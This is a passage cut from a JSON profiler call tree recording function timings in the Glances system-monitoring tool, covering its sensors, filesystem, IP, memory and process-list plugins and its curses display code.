\"cpu_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000606\",\"time\": 0.001933,\"attributes\": {\"l615\": 0.0019333300006110221},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001933,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.009995,\"attributes\": {\"cProcesslistPlugin\": 0.009994893996918108, \"l678\": 0.009994893996918108},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.009995,\"attributes\": {\"cProcesslistPlugin\": 0.009994893996918108, \"l656\": 0.003994869992311578, \"l633\": 0.00600002400460653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.006000,\"attributes\": {\"cProcesslistPlugin\": 0.00600002400460653, \"l619\": 0.0039984309987630695, \"l621\": 0.0020015930058434606},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.396108,\"attributes\": {\"cSensorsPlugin\": 0.3652973540010862, \"l1278\": 0.3961080090011819, \"cFsPlugin\": 0.024714701998163946, \"cIpPlugin\": 0.0020354730004328303, \"cMemPlugin\": 0.0019629029993666336, \"cQuicklookPlugin\": 0.0020975770021323115},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.396108,\"attributes\": {\"l1295\": 0.3940104319990496, \"l1299\": 0.0020975770021323115},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/sensors/__init__.py\\u0000149\",\"time\": 0.365297,\"attributes\": {\"cSensorsPlugin\": 0.3652973540010862, \"l159\": 0.002478403002896812, \"l157\": 0.3628189509981894},\"children\": [{\"identifier\": \"submit\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000199\",\"time\": 0.002478,\"attributes\": {\"cThreadPoolExecutor\": 0.002478403002896812, \"l215\": 0.002478403002896812},\"children\": [{\"identifier\": \"_adjust_thread_count\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000219\",\"time\": 0.002478,\"attributes\": {\"cThreadPoolExecutor\": 0.002478403002896812, \"l237\": 0.002478403002896812},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000974\",\"time\": 0.002478,\"attributes\": {\"cThread\": 0.002478403002896812, \"l1010\": 0.002478403002896812},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000651\",\"time\": 0.002478,\"attributes\": {\"cEvent\": 0.002478403002896812, \"l669\": 0.002478403002896812},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u0000337\",\"time\": 0.002478,\"attributes\": {\"cCondition\": 0.002478403002896812, \"l369\": 0.002478403002896812},\"children\": [{\"identifier\": \"lock.acquire\\u0000<built-in>\\u00000\",\"time\": 0.002478,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002478,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/_base.py\\u0000666\",\"time\": 0.362819,\"attributes\": {\"cThreadPoolExecutor\": 0.3628189509981894, \"l667\": 0.3628189509981894},\"children\": [{\"identifier\": \"shutdown\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/concurrent/futures/thread.py\\u0000254\",\"time\": 0.362819,\"attributes\": {\"cThreadPoolExecutor\": 0.3628189509981894, \"l273\": 0.3628189509981894},\"children\": [{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/threading.py\\u00001096\",\"time\": 0.362819,\"attributes\": {\"cThread\": 0.3628189509981894, \"l1132\": 0.3628189509981894},\"children\": [{\"identifier\": \"_ThreadHandle.join\\u0000<built-in>\\u00000\",\"time\": 0.362819,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.101639,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.246071,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.015109,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000125\",\"time\": 0.024715,\"attributes\": {\"cFsPlugin\": 0.024714701998163946, \"l131\": 0.024714701998163946},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/fs/__init__.py\\u0000152\",\"time\": 0.024715,\"attributes\": {\"cFsPlugin\": 0.024714701998163946, \"l182\": 0.023545993004518095, \"l178\": 0.0011687089936458506},\"children\": [{\"identifier\": \"wraps\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000618\",\"time\": 0.023546,\"attributes\": {\"l629\": 0.0017883160035125911, \"l630\": 0.005173940000531729, \"l631\": 0.016583737000473775},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001788,\"attributes\": {},\"children\": []},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.002121,\"attributes\": {\"cForkProcess\": 0.0021209900005487725, \"l121\": 0.0021209900005487725},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.002121,\"attributes\": {\"l281\": 0.0021209900005487725},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.002121,\"attributes\": {\"cPopen\": 0.0021209900005487725, \"l20\": 0.0021209900005487725},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.002121,\"attributes\": {\"cPopen\": 0.0021209900005487725, \"l70\": 0.0021209900005487725},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002121,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.008228,\"attributes\": {\"cForkProcess\": 0.008228286998928525, \"l156\": 0.008228286998928525},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.008228,\"attributes\": {\"cPopen\": 0.008228286998928525, \"l41\": 0.008228286998928525},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.008228,\"attributes\": {\"l1165\": 0.008228286998928525},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.008228,\"attributes\": {\"cPollSelector\": 0.008228286998928525, \"l398\": 0.008228286998928525},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.008228,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.008228,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"start\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000110\",\"time\": 0.003053,\"attributes\": {\"cForkProcess\": 0.003052949999982957, \"l121\": 0.003052949999982957},\"children\": [{\"identifier\": \"_Popen\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/context.py\\u0000278\",\"time\": 0.003053,\"attributes\": {\"l281\": 0.003052949999982957},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000016\",\"time\": 0.003053,\"attributes\": {\"cPopen\": 0.003052949999982957, \"l20\": 0.003052949999982957},\"children\": [{\"identifier\": \"_launch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000066\",\"time\": 0.003053,\"attributes\": {\"cPopen\": 0.003052949999982957, \"l70\": 0.003052949999982957},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.003053,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"join\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/process.py\\u0000149\",\"time\": 0.008355,\"attributes\": {\"cForkProcess\": 0.00835545000154525, \"l156\": 0.00835545000154525},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/popen_fork.py\\u000037\",\"time\": 0.008355,\"attributes\": {\"cPopen\": 0.00835545000154525, \"l41\": 0.00835545000154525},\"children\": [{\"identifier\": \"wait\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/multiprocessing/connection.py\\u00001151\",\"time\": 0.008355,\"attributes\": {\"l1165\": 0.00835545000154525},\"children\": [{\"identifier\": \"select\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/selectors.py\\u0000385\",\"time\": 0.008355,\"attributes\": {\"cPollSelector\": 0.00835545000154525, \"l398\": 0.00835545000154525},\"children\": [{\"identifier\": \"poll.poll\\u0000<built-in>\\u00000\",\"time\": 0.008355,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.008355,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"is_display_any\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001060\",\"time\": 0.001169,\"attributes\": {\"cFsPlugin\": 0.0011687089936458506, \"l1064\": 0.0011687089936458506},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001064\",\"time\": 0.001169,\"attributes\": {\"l1064\": 0.0011687089936458506},\"children\": [{\"identifier\": \"is_hide\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001039\",\"time\": 0.001169,\"attributes\": {\"cFsPlugin\": 0.0011687089936458506, \"l1048\": 0.0011687089936458506},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001048\",\"time\": 0.001169,\"attributes\": {\"l1049\": 0.0011687089936458506},\"children\": [{\"identifier\": \"fullmatch\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000169\",\"time\": 0.001169,\"attributes\": {\"l172\": 0.0011687089936458506},\"children\": [{\"identifier\": \"_compile\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/re/__init__.py\\u0000330\",\"time\": 0.001169,\"attributes\": {\"l335\": 0.0011687089936458506},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001169,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000116\",\"time\": 0.002035,\"attributes\": {\"cIpPlugin\": 0.0020354730004328303, \"l127\": 0.0020354730004328303},\"children\": [{\"identifier\": \"get_stats_for_local_input\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u0000138\",\"time\": 0.002035,\"attributes\": {\"cIpPlugin\": 0.0020354730004328303, \"l140\": 0.0020354730004328303},\"children\": [{\"identifier\": \"get_first_ip\\u0000/home/nicolargo/dev/glances/glances/plugins/ip/__init__.py\\u000089\",\"time\": 0.002035,\"attributes\": {\"cIpPlugin\": 0.0020354730004328303, \"l90\": 0.0020354730004328303},\"children\": [{\"identifier\": \"get_ip_address\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000740\",\"time\": 0.002035,\"attributes\": {\"l745\": 0.0020354730004328303},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002289\",\"time\": 0.002035,\"attributes\": {\"l2301\": 0.0020354730004328303},\"children\": [{\"identifier\": \"net_if_stats\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000992\",\"time\": 0.002035,\"attributes\": {\"l1004\": 0.0020354730004328303},\"children\": [{\"identifier\": \"net_if_flags\\u0000<built-in>\\u00000\",\"time\": 0.002035,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002035,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001377\",\"time\": 0.001963,\"attributes\": {\"cMemPlugin\": 0.0019629029993666336, \"l1379\": 0.0019629029993666336},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000253\",\"time\": 0.001963,\"attributes\": {\"cMemPlugin\": 0.0019629029993666336, \"l261\": 0.0019629029993666336},\"children\": [{\"identifier\": \"_update_for_local\\u0000/home/nicolargo/dev/glances/glances/plugins/mem/__init__.py\\u0000139\",\"time\": 0.001963,\"attributes\": {\"cMemPlugin\": 0.0019629029993666336, \"l142\": 0.0019629029993666336},\"children\": [{\"identifier\": \"virtual_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001996\",\"time\": 0.001963,\"attributes\": {\"l2049\": 0.0019629029993666336},\"children\": [{\"identifier\": \"virtual_memory\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u0000306\",\"time\": 0.001963,\"attributes\": {\"l318\": 0.0019629029993666336},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001963,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002098,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001138\",\"time\": 1.661323,\"attributes\": {\"cGlancesCursesStandalone\": 1.661323385000287, \"l1154\": 0.05189323199738283, \"l1169\": 0.805998019000981, \"l1172\": 0.8034321340019233},\"children\": [{\"identifier\": \"flush\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001124\",\"time\": 0.051893,\"attributes\": {\"cGlancesCursesStandalone\": 0.05189323199738283, \"l1135\": 0.05189323199738283},\"children\": [{\"identifier\": \"display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000549\",\"time\": 0.051893,\"attributes\": {\"cGlancesCursesStandalone\": 0.05189323199738283, \"l569\": 0.04989167700114194, \"l598\": 0.002001554996240884},\"children\": [{\"identifier\": \"__get_stat_display\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000514\",\"time\": 0.049892,\"attributes\": {\"cGlancesCursesStandalone\": 0.04989167700114194, \"l545\": 0.04989167700114194},\"children\": [{\"identifier\": \"get_stats_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001082\",\"time\": 0.049892,\"attributes\": {\"cProgramlistPlugin\": 0.021892819000640884, \"l1101\": 0.04989167700114194, \"cProcesslistPlugin\": 0.02799885800050106},\"children\": [{\"identifier\": \"msg_curse\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000556\",\"time\": 0.049892,\"attributes\": {\"cProgramlistPlugin\": 0.021892819000640884, \"l566\": 0.003901639996911399, \"l587\": 0.045990037004230544, \"cProcesslistPlugin\": 0.02799885800050106},\"children\": [{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.001899,\"attributes\": {\"l824\": 0.0018988869996974245},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.001899,\"attributes\": {\"l773\": 0.0018988869996974245},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001899,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.019994,\"attributes\": {\"cProgramlistPlugin\": 0.01999393200094346, \"l538\": 0.015995875000953674, \"l537\": 0.0020103389979340136, \"l539\": 0.0019877180020557716},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001995,\"attributes\": {},\"children\": []},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.002010,\"attributes\": {},\"children\": []},{\"identifier\": \"isinstance\\u0000<built-in>\\u00000\",\"time\": 0.001988,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001988,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cmdline\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000488\",\"time\": 0.004000,\"attributes\": {\"cProgramlistPlugin\": 0.003999763997853734, \"l500\": 0.003999763997853734},\"children\": [{\"identifier\": \"isdir\\u0000<frozen genericpath>\\u000048\",\"time\": 0.004000,\"attributes\": {\"l53\": 0.0020004230027552694, \"l51\": 0.001999340995098464},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002030,\"attributes\": {\"cProgramlistPlugin\": 0.0020297869996284135, \"l309\": 0.0020297869996284135},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002030,\"attributes\": {\"cProgramlistPlugin\": 0.0020297869996284135, \"l855\": 0.0020297869996284135},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002030,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_io_counters\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000469\",\"time\": 0.003970,\"attributes\": {\"cProgramlistPlugin\": 0.003969853001763113, \"l472\": 0.003969853001763113},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001971,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_io_read_write\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000450\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999118998355698, \"l466\": 0.001999118998355698},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.001999,\"attributes\": {\"cProgramlistPlugin\": 0.001999118998355698, \"l1130\": 0.001999118998355698},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"_get_process_curses_nice\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000422\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001125001697801, \"l429\": 0.002001125001697801},\"children\": [{\"identifier\": \"get_nice_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000273\",\"time\": 0.002001,\"attributes\": {\"cProgramlistPlugin\": 0.002001125001697801, \"l285\": 0.002001125001697801},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"sort_stats\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000800\",\"time\": 0.002003,\"attributes\": {\"l824\": 0.0020027529972139746},\"children\": [{\"identifier\": \"<lambda>\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000773\",\"time\": 0.002003,\"attributes\": {\"l773\": 0.0020027529972139746},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"get_process_curses_data\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000520\",\"time\": 0.025996,\"attributes\": {\"cProcesslistPlugin\": 0.025996105003287084, \"l538\": 0.02199689300323371, \"l526\": 0.0019993140012957156, \"l539\": 0.0019998979987576604},\"children\": [{\"identifier\": \"_get_process_curses_cpu_times\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000380\",\"time\": 0.001998,\"attributes\": {\"cProcesslistPlugin\": 0.00199807600438362, \"l405\": 0.00199807600438362},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_status\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000435\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000020002014935, \"l440\": 0.002000020002014935},\"children\": [{\"identifier\": \"get_status_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000287\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.002000020002014935, \"l292\": 0.002000020002014935},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000522996240761, \"l361\": 0.002000522996240761},\"children\": [{\"identifier\": \"_get_process_curses_rss\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000347\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000522996240761, \"l350\": 0.002000522996240761},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001249\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.002000522996240761, \"l1251\": 0.002000522996240761},\"children\": [{\"identifier\": \"auto_unit\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000424\",\"time\": 0.002001,\"attributes\": {\"l478\": 0.002000522996240761},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"curse_new_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001138\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019993140012957156, \"l1140\": 0.0019993140012957156},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005799960927106, \"l309\": 0.0020005799960927106},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002001,\"attributes\": {\"cProcesslistPlugin\": 0.0020005799960927106, \"l888\": 0.0020005799960927106},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_num_threads\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000411\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999688000069, \"l420\": 0.001999688000069},\"children\": [{\"identifier\": \"curse_add_line\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001105\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.001999688000069, \"l1130\": 0.001999688000069},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_cpu_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000301\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001250013592653, \"l309\": 0.0020001250013592653},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.002000,\"attributes\": {\"cProcesslistPlugin\": 0.0020001250013592653, \"l855\": 0.0020001250013592653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"_get_process_curses_memory_percent\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000321\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994200047221966, \"l325\": 0.0019994200047221966},\"children\": [{\"identifier\": \"get_alert\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000803\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994200047221966, \"l885\": 0.0019994200047221966},\"children\": [{\"identifier\": \"manage_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000904\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994200047221966, \"l907\": 0.0019994200047221966},\"children\": [{\"identifier\": \"get_limit_action\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000971\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019994200047221966, \"l991\": 0.0019994200047221966},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []},{\"identifier\": \"_get_process_curses_memory_info\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000357\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.0019990450018667616, \"l360\": 0.0019990450018667616},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]},{\"identifier\": \"_get_process_curses_pid\\u0000/home/nicolargo/dev/glances/glances/plugins/processlist/__init__.py\\u0000364\",\"time\": 0.001999,\"attributes\": {\"cProcesslistPlugin\": 0.001999489002628252, \"l367\": 0.001999489002628252},\"children\": [{\"identifier\": \"str.format\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__display_left\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u0000808\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001554996240884, \"l819\": 0.002001554996240884},\"children\": [{\"identifier\": \"display_plugin\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001062\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001554996240884, \"l1094\": 0.002001554996240884},\"children\": [{\"identifier\": \"display_stats\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001027\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001554996240884, \"l1054\": 0.002001554996240884},\"children\": [{\"identifier\": \"display_stats_with_current_size\\u0000/home/nicolargo/dev/glances/glances/outputs/glances_curses.py\\u00001016\",\"time\": 0.002002,\"attributes\": {\"cGlancesCursesStandalone\": 0.002001554996240884, \"l1018\": 